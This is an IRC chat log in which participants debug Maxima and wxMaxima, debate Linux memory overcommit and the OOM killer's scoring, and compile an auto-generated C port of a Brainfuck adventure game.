channels you get on Sky? 21:04:12 ... Yeah... 21:04:21 That's US television. 21:04:30 Yeah, I know. 21:04:35 It's pretty awful. 21:04:41 US culture sucks. 21:04:49 % maxima 21:04:49 fatal error encountered in SBCL pid 88478(tid 2685568800): 21:04:50 bad runtime option "--userinit" 21:04:52 Sweet. 21:05:04 US culture is pretty nice. When you remove the corporations from it. 21:05:17 ... That is, when you remove the last 50 to 100 years of it. :p 21:06:12 opt/local/bin 21:06:13 er 21:06:14 % maxima 21:06:16 Maxima 5.18.1 http://maxima.sourceforge.net 21:06:18 Using Lisp SBCL 1.0.28 21:06:19 Forbleborble McWarbleblorble 21:06:20 Distributed under the GNU Public License. See the file COPYING. 21:06:22 Dedicated to the memory of William Schelter. 21:06:24 The function bug_report() provides bug reporting information. 21:06:26 (%i1) 21:06:28 yay 21:07:17 YAY xmaxima starts 21:07:42 Terribly ugly, but! 21:08:17 PLOT NO WORKY. 21:09:27 Deewiant: It's that Welho 110/5? 21:09:35 Aye. 21:09:40 Oh! 21:09:43 There's a wxmaxima. 21:09:50 err 21:09:53 Deewiant: context? 21:10:21 ehird: 10 minutes up. 21:10:32 ehird: pikhq: I measured my connection last weekend and it indeed managed something like 107/4.8 Mib/s 21:10:34 Ah. 21:10:47 Deewiant: Do they do ipv6? 21:10:56 Don't know, doubtful. 21:10:58 How useless. 21:11:05 I'm not on that connection now so I can't test. 21:11:40 Most Finnish ISPs probably don't, only Nebula or whatever it was that fizzie hyped. 21:11:54 In 2012 they will :P 21:12:11 Deewiant: But Nebula doesn't do the fast! 21:12:18 Finns are internetty people :< 21:12:39 In 2012, the US will still have people with 56k modems. 21:12:47 ... As their only option. 21:12:58 And even they will be on IPv6 :P 21:13:14 I don't think you understand how US infrastructure works. 21:13:17 There's a wxmaxima. <-- yes I use it personally 21:13:23 eer 21:13:26 word order 21:13:26 The US will be the last holdout on IPv4. 21:13:30 pikhq: I'm being a happy optimist :P 21:13:36 I expect us to upgrade sometime after World War III. 21:13:38 AnMaster: how do you get just a simple maxima console with it? 21:13:41 where you can plot and stuff 21:13:52 ehird, um what do you mean. 21:13:57 AnMaster: just a regular maxima REPL 21:13:58 Nebula's fastest one with a price that's not "ask us" is 48M/6M, which is basically two bonded ADSL2+ channels; and that's horribly expensive, $200/month or so. 21:13:58 like maxima(1) 21:14:06 ... Speaking of. Anyone want to play global thermonuclear war? 21:14:10 fizzie: what would ask us imply 21:14:11 ehird, that is what you get in the main text box of wxmaxima? 21:14:15 with the input line below 21:14:18 AnMaster: oh, "Maxima process terminated." 21:14:26 guess i have to done configure shit 21:14:36 ehird, that sounds like what is technically called "a bug" 21:14:38 ehird: Probably at least more than that. 21:14:38 or that 21:14:45 ehird, it worked out of box for me on Gentoo :D 21:14:55 fizzie: but also $$$ 21:15:07 AnMaster: seems my maxima install isn't workin' 21:15:11 for it 21:15:19 ehird, maybe path is wrong 21:15:24 "Maxima program: /opt/local/bin/maxima" 21:15:28 and I don't know, since it just worked out of box here 21:15:39 aha 21:15:40 ehird: There's on their product list "SHDSL/EFM 2-100M" (and I think that technology implies the same speed both ways, so you could get 100M/100M) but it's probably a really large pile of $s for that. 21:15:43 ehird, what 21:15:48 add "-s 4010" to additional parameters 21:15:54 fizzie: yeah 21:15:59 ehird, what does that do 21:16:07 connect maxima to server on port N 21:16:13 and 4010 was in the prefs as wxmaxima's port 21:16:13 sooo 21:16:23 heh 21:16:29 Maxima encountered a Lisp error: 21:16:29 The function SETUP-SERVER is undefined. 21:16:30 cancel that 21:16:31 ehird, there are no extra parameters here 21:18:16 ehird, wxmaxima preferences screenshot, in case it helps: http://omploader.org/vMW95dA 21:18:29 ew, you're using clisp 21:18:38 ehird, yeah sbcl had issues for me. 21:18:57 ah, hm 21:18:59 ehird, specifically, it doesn't work if you turn off overcommitting memory. 21:19:01 after setup-server failing it works 21:19:06 AnMaster: duh 21:19:10 it's its whole memory model 21:19:12 so don't turn that off 21:19:22 ehird, um. I consider the program that needs it buggy 21:19:29 no, it's by design 21:19:33 it reserves a pool of memory 21:19:46 ehird, yes. But 8 GB? 21:19:58 what's wrong with overcommits 21:20:38 ehird, the fact that the OOM killer can kill any process. Not just the offending one (which isn't trivial to figure out either) 21:20:48 Disable the OOM killer, then. 21:21:13 ehird, yes, that is what I did, when you disable it, you disable memory overcommit 21:21:19 really? 21:21:21 weird-ass. 21:21:44 ehird, how would you handle out of memory when overcommit is in use, without an OOM killer 21:21:48 would like to know how 21:22:08 AnMaster: you can refuse to allocate 21:22:12 if you run out of real memory 21:22:22 ehird, um, you already did when you overcommited. 21:22:29 no 21:22:32 you ran out of virtual memory 21:23:14 ehird, well I have 1.5 GB RAM. So It would refuse to allocate that 8 GB block in either case. 21:23:28 no 21:23:30 according to your logic 21:23:33 it wouldn't 21:23:36 ehird, then what exactly do you mean 21:23:40 you have 1.5GB of PHYSICAL ram 21:23:42 yes 21:23:44 you only refuse to allocate when you run out of i 21:23:45 t 21:23:46 and 1.5 GB swap 21:23:57 AnMaster: the 8GB would fail if and only if you were out of physical memory 21:24:13 ehird, that is what overcommit is. But it doesn't solve the issue. 21:24:24 Since you could allocate those 8 GB and then start filling it! 21:24:25 what issue? it's overcommit without OOM killer 21:24:47 what would happen when it loaded data in more than 1.5 GB + 1.5 GB of swap 21:24:52 I'd like to know that 21:24:59 it'd not work. 21:25:04 ehird, how would it fail 21:25:09 segfault? 21:26:01 ehird, But what if the app filled all but one page of that. And then syslog came along and wanted two extra pages (it also pre-allocated that). 21:26:08 nice, syslog just segfaulted. 21:26:23 ehird, sure this is such a good idea? 21:26:25 AnMaster: you're out of memory. 21:26:27 shit happens. 21:26:36 you can't expect everything to go swimmingly when you're out of memory 21:26:41 ehird, that is why you disable memory overcommit 21:26:47 ... 21:26:49 so apps can handle it gracefully. 21:26:53 ahahah 21:27:02 or at least log an error and exit 21:27:06 evidently you're not listening to me, so I won't bother 21:27:18 ehird, evidently you're not listening to me either. 21:27:31 ehird, and, OOM killer is exactly what you suggested above 21:27:39 ooh awesome, you have to use "wxplot2d" instead of "plot2d". 21:27:47 not. 21:27:55 -!- tombom_ has joined. 21:28:04 ehird, it SIGSEGVs (or SIGKILLs forgot which) the process that tries to use more than the RAM around. 21:28:12 ehird, so you just reinvented the OOM killer 21:28:16 CONGRAts 21:28:20 CONGRATS* 21:28:37 -!- coppro has quit (Read error: 110 (Connection timed out)). 21:28:48 ehird, got a suggestion NOT involving the OOM killer. 21:28:49 actually, the OOM killer uses a different algorithm to "the first process to request memory" 21:29:04 ais523, right, it used to use that algo before though iirc. 21:29:23 iirc nowdays it tries to find memory offender and avoid init 21:29:27 or something like that 21:30:08 going for today, anyway; bye everyone! 21:30:08 -!- BeholdMyGlory has quit (Remote closed the connection). 21:30:10 -!- ais523 has quit (Remote closed the connection). 21:30:26 -!- BeholdMyGlory has joined. 21:30:34 -!- BeholdMyGlory has quit (Remote closed the connection). 21:30:55 -!- BeholdMyGlory has joined. 21:39:32 Current OOM killer chooses the "worst" process, worst being defined as the one which gets most points from the badness() function; that's mostly based on the total memory size of the process, plus half the vmsize of its children (to kill memory-hungry forking servers), and tweaks (points /= sqrt(cpu_time), points /= sqrt(sqrt(run_time)), *2 for niced processes because they're unimportant, /4 for SYS_ADMIN/SYS_RESOURCE/SYS_RAWIO processes, ...) 21:40:27 Very arbitrary 21:40:33 brb 21:41:10 Deewiant: There's some sort of justification for most things, but for the time-based ones... "CPU time is in tens of seconds and run time is in thousands of seconds. There is no particular reason for this other than that it turned out to work very well in practice." 21:41:27 Heh. 21:42:01 But in general, that. sqrt one and sqrt-sqrt the other, *2 for something, /4 for something else... 21:42:13 The "half of children" is there so that it kills servers with memory-hungry children, but (since it's only half) it kills a particular child if it's only that child that's eating most of the memory. 21:42:17 The justification is, of course, that it works well. 21:42:26 But I still don't like that kind of arbitrary stuff. :-/ 21:42:39 Yes, the actual amount of the adjustment is pretty arbitrary. 21:43:17 -!- KingOfKarlsruhe has joined. 21:43:28 (It's actually first /4 for cap_sys_admin/cap_sys_resource processes, and then a further /4 for cap_sys_rawio, so I guess some processes could get /16 out of that.) 21:43:51 Too bad top can't show the badness values; I'd actually like to know what it would kill first here. 21:44:51 -!- tombom has quit (Read error: 110 (Connection timed out)). 21:44:51 -!- tombom_ has changed nick to tombom. 21:45:55 (Okay, with 783/3951MB memory use it's not likely to kill anything, but still.) 21:45:56 the oom killer is the best solution i think 21:46:03 disable overcommit isn't smart 21:49:16 -!- BeholdMyGlory has quit (Remote closed the connection). 21:49:30 -!- BeholdMyGlory has joined. 21:50:57 -!- BeholdMyGlory has quit (Remote closed the connection). 21:51:23 -!- BeholdMyGlory has joined. 21:58:13 fizzie, you can see it in /proc/pid/oom_* iirc 21:58:18 and adjust a bias too 21:58:18 there 21:58:26 to make it less likely to kill some specific process 21:59:11 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 22:01:34 Oh, right, there's the oom_score. I did notice the oom_adj tweak though. 22:03:17 I AM GOING TO BRUTALLY MURDER PAYPAL 22:03:32 -!- kar8nga has quit (Remote closed the connection). 22:03:33 Heh.This is a bit... suspicious. The process most likely to be killed is "vi oom_kill.c". Protecting itself, is it? 22:06:40 -!- BeholdMyGlory has quit (Remote closed the connection). 22:06:49 whatever you do, don't try to shut it off 22:07:01 -!- BeholdMyGlory has joined. 22:08:10 Any help here? 22:08:22 Oh, I forgot to say what I need help with 22:08:23 Does anyone know how to force paypal to let me pay with the money that I have in there already, without connecting it to RL financials? 22:09:42 hehe 22:09:45 tmpfs is awesome 22:09:47 "for pid in [0-9]*; do echo `cat $pid/oom_score`: `cat $pid/cmdline | tr '\0' ' '`; done | sort -n | tail" seems to be a useful oom-score viewer. 22:10:06 oh cool 22:10:06 Oh, those are NULs 22:10:13 /proc is awesome 22:10:20 I was trying to do that and wondering why my output was all b0rken 22:10:57 1153943: C:\windows\system32\services.exe 22:11:03 No surprises there :-P 22:11:21 Currently it seems to want to kill a un-offending "vi" that has some random notes in it, and "urxvtd" (which would kill all my terminal windows) is second. Third is PostgreSQL. 22:11:34 After that is my WM 22:11:36 Would've though Firefox to be a candidate, too, but I guess it's been running for quite a while. 22:11:39 Then Thunderbird 22:12:02 Then more Wine-stuff, then init. 22:12:09 -!- Judofyr has joined. 22:13:26 1153943 is quite a score; my winner just gets 19574. 22:13:43 that's odd, ion is the worst 22:13:55 That little? 22:14:03 With 'tail' my lowest is 45405 22:14:27 init is 93933 22:14:29 I have values 9807-19574 in the... "top-10", or "bottom-10", or anything. 22:14:39 Init gets 15644 here, #4. 22:14:49 Openbox, the current #2, is 593089 22:14:58 Your numbers are bigger. 22:15:18 Wouldn't think you have *that* much more memory (or bigger processes), though; 4G here. 22:15:38 I have a bunch of zeroes with empty command lines, /sbin/udevd is the lowest 'real' process at 0 22:16:02 I've got 8G of memory, init's virtual size is 3784 (K, I guess) 22:16:20 Those empty ones are the kernel threads, I guess. 22:16:25 Maybe your uptime is just so huge? 22:16:25 -!- BeholdMyGlory has quit (Remote closed the connection). 22:16:25 What, and you don't have gettys? 22:16:43 -!- BeholdMyGlory has joined. 22:16:49 agettys have a score of 29 22:16:58 Ah. 22:17:13 -!- BeholdMyGlory has quit (Remote closed the connection). 22:17:13 mount.ntfs-3g has 17, being the second-lowest process with a cmdline 22:17:14 If you replace the $pid/cmdline cat with "ps hp $pid" you get their names too, but that's not exactly interesting since the scores are 0. 22:17:28 -!- BeholdMyGlory has joined. 22:17:46 My lowest-scoring ones are at score 14: five gettys, klogd and acpid. 22:18:07 How's your uptime? 22:18:08 what's the file that has the memory size? 22:18:21 -!- oerjan has quit ("Good night"). 22:18:27 wc -c mem? ;-P 22:18:34 Just 13 days... 22:18:41 Well, mine is less than 13 hours 22:19:31 1153026: c:\windows\system32\services.exe 22:19:36 :-) 22:19:37 Definitely no surprises there. 22:20:12 pikhq: huh? 22:20:36 WINE. 22:20:58 Oo 22:21:01 1435180: /usr/bin/openbox 22:21:06 That took off, for some reason 22:21:32 301: -:0 22:21:35 The fuck? 22:21:38 :-D 22:22:07 Heh, I opened another "vi oom_kill.c", and it jumped to #1, with a 39198 score. It's definitely some sort of self-protecting thing. 22:22:14 176: supervising syslog-ng 22:22:19 Wonder what that 'supervising' is about 22:22:44 4173: SCREEN 22:22:49 "528: -:0" too. 22:22:51 Why is argv[0] SCREEN? 22:23:05 I don't have a -:0 22:23:35 2324: /usr/bin/../lib32/../bin/wineserver 22:23:39 ... 22:23:53 Deewiant: "-:0" seems to be wdm, actually. 22:23:56 fizzie: My OS is much less self-protective; it only gave 13841 to a vim oom_kill.c 22:24:05 bin/../lib32/../bin/ 22:24:07 Really. 22:24:19 Meanwhile, openbox is trying to show off 22:24:55 Well, a subprocess of wdm, anyway. It's a sibling of the actual X server, the one that's the immediate parent of the actual X session. 22:25:31 /bin/login -- -> -zsh -> /bin/sh /usr/bin/startx -> xinit 22:25:52 Which would explain it, I guess. 22:26:05 Funny, the ones I have score=0 (udevd and sshd) also have a -17 in the oom_adj file. I guess someone's protecting them. 22:26:33 Indeed, udevd has -17 here as well 22:26:34 "export SSHD_OOM_ADJUST=-17" in Debian's /etc/init.d/ssh script. 22:26:43 sshd has no such protection and is at 405 22:27:04 dhcpcd and crond are much lower, at 64 and 45 respectively 22:27:47 -!- KingOfKarlsruhe has quit (Remote closed the connection). 22:27:48 I guess they're trying to avoid the "tra-la-la, I'm remotely administering my system that's 500 miles away in a locked room... hmm, I seem to be running a bit low on memory, let's see... hey, why did it get disconnected?" case. 22:28:13 That makes sense, but I can't really conceive of a case where sshd would be the one to be killed 22:28:17 Though Murphy's law says the frustrated OOM killer is just going to kill the shell. 22:28:52 The 'sort -n' on the output of that has a higher value than firefox 22:29:02 (15214 vs. 12882) 22:29:24 I've wondered about SCREEN uppercasing its name earlier, too. Not sure why it does that. 22:30:37 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:30:49 if (!strncmp("screen", ap, 6)) { strncpy(ap, "SCREEN", 6); /* name this process "SCREEN-BACKEND" */ 22:30:56 That's not really a justification there. 22:31:05 It doesn't even name it SCREEN-BACKEND. 22:31:17 strncpy(ap, "JOE", 3); /* name this process JACK */ 22:31:23 Indeed. 22:32:13 That test is done "while (ap >= av0)" and after that there's ap--; 22:32:20 Heh.This is a bit... suspicious. The process most likely to be killed is "vi oom_kill.c". Protecting itself, is it? 22:32:21 no 22:32:25 there is another reason 22:32:37 Linus Torvalds use µemacs 22:32:37 22:09 bsmntbombdood: hehe 22:32:37 22:09 bsmntbombdood: tmpfs is awesome 22:32:39 why? 22:34:30 awesome when you have 12gb of ram 22:35:06 wow, would be enough to build open office ON A RAM DISK right? 22:35:13 thats... crazy 22:35:23 yup 22:35:23 the mind boggles 22:35:53 bsmntbombdood, would be a tight fit if you had source tree on ram disk too though 22:36:05 but 22:36:06 openoffice sucks though 22:36:08 you should do it 22:36:12 to see how long it tames 22:36:13 takes* 22:36:45 AnMaster: not crazy 22:36:50 12GB is common for i7 22:36:57 ehird, read context. 22:36:59 For some values of "common" 22:37:11 Deewiant: i7 is the uncommon thing. 22:37:13 AnMaster: I did. 22:37:50 ehird, "crazy being able to build OpenOffice on a ram disk" 22:38:11 K 22:38:13 ehird: I'd say 6 Go is more common 22:38:20 6 Go 22:38:21 Deewiant: sure 22:38:21 ... 22:38:22 ? 22:38:40 Giga-octets. 22:38:41 but it's more like 6GB: 55% 12GB: 45% 22:38:48 for i7 22:38:55 As Core i7 increases in popularity that ratio will shift 22:38:57 since i7 is, well, excessive. 22:38:58 If it's true at all. :-P 22:39:06 87 % of statistics are all made up on the spot. 22:39:08 Giga-octets. <-- really? 22:39:18 fizzie, :D 22:39:18 Deewiant: i7 IS for mega-super-gamer-moneywasters... 22:39:41 while(*p) p-=9; 22:39:41 -p[0]=p[7]; 22:39:41 -p[5]+=p[0]; 22:39:41 -p[7]=p[0]; 22:39:41 -p[0]=0; 22:39:42 ehird: For now, since it's the new thing. 22:39:42 +p[5]+=p[7]; 22:39:44 yay 22:39:55 ehird: Having more than one CPU core was like that a couple of years back. 22:39:59 Deewiant: They're planning on a separate model for regular people. 22:40:05 Core i6, iirc. 22:41:04 i5, I think. 22:41:14 I'm not quite sure where they're getting the numbers from. 22:41:17 iMac? 22:41:22 fizzie: /dev/ass 22:41:39 http://en.wikipedia.org/wiki/Intel_Core_i5 22:41:44 Core i5 (codenamed Lynnfield)[1] is an upcoming family of Intel desktop x86-64 microprocessors. It is scheduled to be released in the third quarter of 2009[2] using the Intel Nehalem microarchitecture and is a mainstream variant to the Intel Core i7 family 22:41:57 so, I predict that 6GB only being slightly more popular than 12GB for i7 will continue 22:42:05 also typing without one finger is hard 22:43:25 You were in a gruesome industrial accident and lost a finger? Oh, not that? Aww. :/ 22:43:43 Yes, actually 22:43:48 "mainstream variant"? 22:43:52 more like shit variant 22:44:05 bsmntbombdood: Because everyone is excessive like you :) 22:44:08 (and I!) 22:46:10 Well, "mainstream" *is* an anagram for "mate rams in". 22:46:30 fizzie: Erm. 22:47:55 total used free shared buffers cached 22:47:56 Mem: 12040 5095 6944 0 111 4362 22:47:56 -/+ buffers/cache: 621 11418 22:48:09 -!- olsner has quit ("Leaving"). 22:48:10 621MB used. 22:48:11 Cool. 22:49:06 more than i had in my last computer! 22:49:27 bsmntbombdood: there seems to be a tendency to overupgrade when you have obsolete hw :) 22:49:45 hm 22:50:05 bsmntbombdood, since you have so much ram, would you mind compiling something for me, which is too large for me to test. GCC OOMs here. 22:50:14 a 74800 lines long C file. 22:50:21 loflgasm 22:50:35 modularity is good 22:50:59 bsmntbombdood, current LostKing from my BF-to-(C|other backends planned) compiler 22:51:05 bsmntbombdood, it is auto generated. 22:51:08 AnMaster: it'd take hours 22:51:09 oh ok 22:51:10 no point 22:51:11 Oh, I hadn't run into "slabtop" earlier. It seems to be for when you want to see how the kernel's wasting memory. 22:51:13 ehird, true. 22:51:15 sure, why not 22:51:18 with -O3 at least 22:51:29 ehird, I'd be happy with -O0 or -O1 22:51:37 -O0 ooms? 22:51:38 srs? 22:51:46 enable overcommit :P 22:51:50 send it over 22:52:06 bsmntbombdood, uploading it 22:52:47 I could compile it on that "64GB of memory" shell server, but I guess that would be abusing it somewhat. (And I wouldn't be too surprised if they'd actually added some ulimits there.) 22:53:03 fizzie, http://rage.kuonet.org/~anmaster/LostKng.b.c.gz compile with: gunzip LostKng.b.c.gz; gcc -std=c99 LostKng.b.c 22:53:05 or bsmntbombdood 22:53:16 fizzie, better don't 22:53:36 Well, the shell server is in test use right now, and they did tell us to report any problems. :p 22:53:37 anyway I'm just interested in if it produces a correct program atm. 22:53:45 fizzie, so don't then 22:54:04 fizzie: what is it for? 22:54:05 -!- Judofyr has quit (Remote closed the connection). 22:54:05 AnMaster: ... You still gzip things? 22:54:07 bsmntbombdood, If you do get a working binary: tell me how large it is 22:54:18 AnMaster: amd64 is ok then? 22:54:32 bsmntbombdood: do -mtune=i7 22:54:33 >:) 22:54:35 bsmntbombdood, yeah, but not Intel specifc. -march=athlon64 here :P 22:54:36 and also -O3 22:55:04 bsmntbombdood: It's a generic shell server for all the university's... 10k or so students, I guess. 22:55:12 actually, -march=athlon64-sse3 for me, if gcc is recent enough 22:55:14 to know that arch 22:55:15 bsmntbombdood, ^ 22:55:39 -march=athlon64-sse3 instead of -march=athlon64 -msse3? Whoo. 22:55:48 nice -n 19 gcc LostKng.b.c -std=c99 -O2 -march=athlon64-sse3 22:55:50 pikhq, scheduling differences iirc 22:55:54 http://www.youtube.com/watch?v=JXnvVlNOcoM Pentium 3! 22:55:59 ok? 22:55:59 bsmntbombdood: err 22:56:01 Sweet. 22:56:02 athlon on an i7? 22:56:05 how about neutral amd64 22:56:05 AnMaster: 22:56:07 rogue ~ 32 % gcc -o LostKng LostKng.b.c -O0 22:56:07 rogue ~ 33 % ls -l LostKng 22:56:07 -rwxr-xr-x 1 htkallas users 1698778 May 18 00:55 LostKng 22:56:11 so you can actually run it? 22:56:15 fizzie: wow, that was fast 22:56:26 what's lost king anyway? 22:56:36 -march=generic -mtune=athlon64-sse3 22:56:38 bsmntbombdood: brainfuck adventure game 22:56:40 that would work iirc 22:56:42 rogue ~ 34 % ./LostKng 22:56:42 Lost Kingdom 22:56:42 (C) Jon Ripley 2004, 2005 22:56:42 Brainfuck Edition v0.11 22:56:46 It seems to mostly work. 22:56:49 translated from BF-BASIC 22:56:52 fizzie, "mostly"? 22:56:52 and 22:56:54 huh 22:56:56 it finished? 22:56:59 fizzie: what processor is this? 22:57:00 fizzie, how large 22:57:01 AnMaster: Well, I mean, as far as I've tested. 22:57:08 AnMaster: I just pasted you the "ls -l" up there. 22:57:15 fizzie, du -sh ? 22:57:20 (readable) 22:57:22 bsmntbombdood: 64GB of ram 22:57:26 so I assume several Xeons 22:57:28 or opterons 22:57:30 bsmntbombdood: "2 x E5450 @ 3.00GHz" 22:57:31 fizzie, if it is something I can run, could you put it somewhere I can download it 22:57:41 fizzie: nice. 22:57:48 hmm 22:57:51 are thos edual core? 22:57:53 damn, mine's still not finished 22:57:55 they're xeon harpertowns 22:57:57 ehird: Quad. 22:58:00 um 22:58:02 I think, at least. 22:58:03 8 cores then 22:58:06 gcc is single threaded 22:58:10 so it doesn't matter 22:58:13 AnMaster: I was asking about the system. 22:58:21 AnMaster: I didn't give any flags, so I guess it should be quite generic. 22:58:26 gcc is only using 480mb here 22:58:32 fizzie, can ou put it somewhere for download then! 22:58:36 * pikhq goes to recompile his entire system 22:58:44 AnMaster: http://users.tkk.fi/~htkallas/LostKng should work. 22:58:44 pikhq, why on earth. 22:58:51 AnMaster: Changed CFLAGS. 22:58:53 AnMaster: gentoo. 22:58:56 that's what they do 22:58:57 FireFly, text/plain? 22:59:06 pikhq, um, and? You can recompile it as you go 22:59:06 FireFly: swat 22:59:08 AnMaster: Just wget it. 22:59:14 'lo there 22:59:15 AnMaster: ELF 22:59:30 It didn't quite guess the content-type, since there was no extension. 22:59:33 Deewiant, yeah, I just told what wget said 22:59:36 which was quite silly 22:59:37 Maybe I should've gzipped it. 22:59:45 Runs on my Athlon X2, anyway. 22:59:49 Eh, I've changed a few other things than just CFLAGS. 22:59:52 better guess for application/octet-stream 22:59:58 CFLAGS is just the straw that broke the camel's back. 23:00:00 oh snap, now gcc is using 2.2g 23:00:04 pikhq, meh 23:00:10 bsmntbombdood, wow! 23:00:11 Why is octet-stream application/ anyway 23:00:17 Deewiant, good question 23:00:17 btw 23:00:23 what categories are there 23:00:24 bsmntbombdood: just ^C it and "-O3 -march=i7 -mtune=i7" if you're in for the long haul 23:00:29 Or xhtml+xml, etc... 23:00:35 application, image, text, audio, video? 23:00:36 bsmntbombdood: then you'll get a result you can actually use... and that is super-fast 23:00:38 or are there any more 23:00:40 fizzie: how much ram did it use for -O0? 23:00:43 ehird: march implies mtune 23:00:46 does it? 23:00:47 ehird: i don't want to run it 23:00:47 kay 23:00:50 IANA has defined application, audio, example, image, message, model, multipart, text and video. 23:00:54 bsmntbombdood: bah :) 23:01:05 ehird, and I'd like to be able to run it 23:01:14 AnMaster: fizzie just compiled it for you. 23:01:16 VRML, for example, is model/vrml. 23:01:26 ehird: -march implies -mtune. 23:01:27 ehird, yes I know 23:01:30 but that was -O0 23:01:34 I want to see the -O2 23:01:37 gcc needs a progress bar :P 23:01:40 AnMaster: he didn't do -O2 23:01:43 he did 23:01:48 ehird: mtune is "do generic stuff that is faster on this arch", march is "do generic and this-arch-specific stuff that is faster on this arch" 23:01:48 oh 23:01:49 so he did 23:02:09 fizzie: time -O2, i want to see how much faster than xeon is 23:02:09 ehird, see also man gcc 23:02:26 bsmntbombdood: its not current-gen xen 23:02:27 xeon 23:02:28 but 23:02:31 gcc is ram-bound 23:02:33 by and large 23:02:39 VRML, for example, is model/vrml. 23:02:41 fizzie, hm 23:02:44 Annoying thing with OS X's invert screen feature: it doesn't fix up subpixel rendering. 23:02:49 ehird: bigger cache, etc 23:02:50 fizzie: VRML, for example, is model/vrml. 23:02:51 Waiting for the O2 now. 23:02:55 I repeat myself. I repeat myself. 23:02:58 fizzie, what about example and message? 23:03:04 bsmntbombdood: you got 8M of l3 23:03:22 AnMaster: "The 'example' media type is used for examples. Any subtype following the media type syntax may be used in those examples. No subtype can be registered with IANA." 23:03:35 ehird, and 256 KB L2 right? 23:03:41 ehird, and GCC is single threaded. 23:03:44 ehird: his xeon has 6mb of L2 23:03:48 AnMaster: 256K L2 per core. 23:03:51 And I know, goddamn! 23:03:56 Stop fucking saying that! 23:03:58 I never disputed it... 23:03:59 ehird, yep, but it will only use one 23:04:03 yes 23:04:08 oh, it finished 23:04:10 There's message/http (RFC2616), message/disposition-notification (RFC3798) and so on. http://www.iana.org/assignments/media-types/ is the definitive source. 23:04:13 bsmntbombdood, nice 23:04:18 bsmntbombdood: Well, it's not actually *my* xeon. 23:04:22 bsmntbombdood, upload it somewhere? 23:04:41 fizzie, hm kay 23:05:10 AnMaster: 1.2M btw 23:05:16 bsmntbombdood, go ahead! 23:05:20 i am 23:05:20 upload it 23:05:41 hey bsmntbombdood, upload it 23:06:13 The -O2 is being slow... I'm not sure I'll bother running that for very much longer, given that there are other users for the system. Though using just one core out of eight is maybe not making them so unhappy. 23:06:24 does clang multithread 23:06:37 A progress bar would be nice, though. It's taken at least four minutes now. 23:06:44 bsmntbombdood: How long did your compilation take, anyway? 23:06:46 ehird, not afaik, You can't really multi thread on a single file well. 23:06:56 AnMaster: sure you can 23:07:01 procedures, for instance 23:07:24 http://filebin.ca/cvazsv/a.out 23:07:31 ehird, good compilers nowdays consider the whole file at once, to be able to do interprocedural optimisation 23:07:39 fizzie: i forgot to time it :P 23:07:46 AnMaster: yes, but once they get down to compiling each procedure... 23:07:50 ehird, and some even considers the whole program at once. Like icc's -ipo mode 23:08:00 ehird, the code generation phase you mean? 23:08:03 doesn't take long 23:08:11 normally that is a tiny part of it 23:08:13 I'll have to just state "-O2 takes longer than 5 minutes" and be done with it; it's not really my box, can't abuse it like that. 23:08:19 AnMaster: orly? -O0 can be slow. 23:08:32 With LDC, -O0 is slower than -O1 23:08:34 ehird, for C or C++? Parsing both takes a lot of the time 23:08:39 Deewiant: wut 23:08:42 AnMaster: C is easy to parse... 23:08:42 compiling isn't abuse! 23:08:48 ehird: Less code generated speeds up the LLVM backend 23:08:50 fizzie: i'd hate having access, but not reign, to/on a powerful server 23:08:52 Deewiant: heh 23:09:26 Or something. Anyway, it is. 23:09:57 about 8 minutes judging from irc timestamps 23:10:33 Which gcc, btw? "4.3.3-5ubuntu4" at that server. 23:11:01 also 4.3.3 23:11:10 fizzie: that thing's running ubuntu? 23:11:19 that's sort of worrying 23:11:38 i mean, it's an excellent desktop OS, but... 23:11:46 ehird: I guess they want to just learn one thing well; all the Linux workstations run Ubuntu too. 23:12:20 i still haven't been able to read my cpu temps 23:12:34 bsmntbombdood: er, lm-sensors thing? 23:12:34 It 23:12:41 ehird: yeah 23:12:42 It's a miracle! ehird's in Sine! 23:12:47 ... 23:12:50 Get over yourself :P 23:12:55 worked fine in freebsd actually 23:13:02 Sgeo: kyevan dragged me in yesterday 23:13:08 Ah 23:14:03 Sgeo, Sine? 23:14:21 AnMaster: nothing. 23:14:24 fizzie: 5 minutes, 45 seconds 23:14:27 (you asked that yesterday...) 23:14:33 ehird, and you didn't answer. 23:14:54 now doing -O3 23:14:55 AnMaster: yep 23:14:58 The motherboard hardware-monitoring chipsets are all over the place, but I think "modprobe coretemp" + sensors should work rather more reliably. (Well, assuming they've updated the coretemp driver for i7 models, and it still supports the same things. I have no idea whether that's true.) 23:14:59 bsmntbombdood: -march=i7 23:15:03 ehird, why not tell now 23:15:04 ehird: why 23:15:06 bsmntbombdood, -fwhole-program -combine -O3 -march=athlon64-msse3 -fgcse-sm -fgcse-las -fgcse-after-reload -fsee -fipa-pta -fipa-cp -ftree-loop-linear -ftree-loop-im -ftree-loop-ivcanon -fivopts 23:15:07 :D 23:15:08 bsmntbombdood: speed 23:15:19 ehird, that is suboptimal for me though 23:15:21 coretemp won't load,that's the problem 23:15:27 bsmntbombdood: Well, the system couldn't have been *much* faster than yours, since it hadn't finished in 5 minutes. 23:15:27 as in: not runnable 23:15:32 AnMaster: he already compiled it for you. 23:15:34 FATAL: Error inserting coretemp (/lib/modules/2.6.26-2-amd64/kernel/drivers/hwmon/coretemp.ko): No such device 23:15:47 2.6.26 is not very new. 23:15:49 bsmntbombdood, core != i7 23:15:52 afaik 23:16:01 core != i7? What a meaningless equation. 23:16:04 sensors-detect says that's the right module 23:16:13 i7 is of the Core family, though. 23:16:16 ok 23:16:17 Yeah. 23:16:20 then that core module is too old 23:16:20 Core i7. 23:16:22 I guess 23:16:24 Given that even Atom does the coretemp stuff, I'd guess i7 does too. 23:16:31 try 2.6.29 23:16:35 bsmntbombdood: What's your /proc/cpuinfo "model" number? 23:16:39 AnMaster: he's running debian testing 23:16:41 so he has that 23:16:47 hm 23:17:02 model : 26 23:17:29 bsmntbombdood: Yes; that works with a newer coretemp module. So you'll get it sooner or later. 23:17:51 bsmntbombdood: arch might have the newer module :-P 23:17:55 gcc 4.3.3? Why not gcc 4.4 :D 23:18:02 * AnMaster has it on that arch computer already 23:18:07 I guess Deewiant does too 23:18:17 http://www.archlinux.org/packages/core/x86_64/gcc/ # 4.4! 23:18:22 ehird, yes 23:18:23 AnMaster: Gentoo is not bleeding edge with its compilers. 23:18:27 Clearly, it's 0.1 better. 23:18:27 I said that above 23:18:28 duh 23:18:29 ... 23:18:32 ;) 23:18:33 AnMaster: I was looking for it as you typed. 23:18:42 ehird, kay 23:18:57 * pikhq just switched to 4.3 a few months ago 23:19:00 From 4.1. 23:19:04 same. 23:19:09 on my gentoo box 23:19:15 For the record; compiled LostKng with -O2 also at home 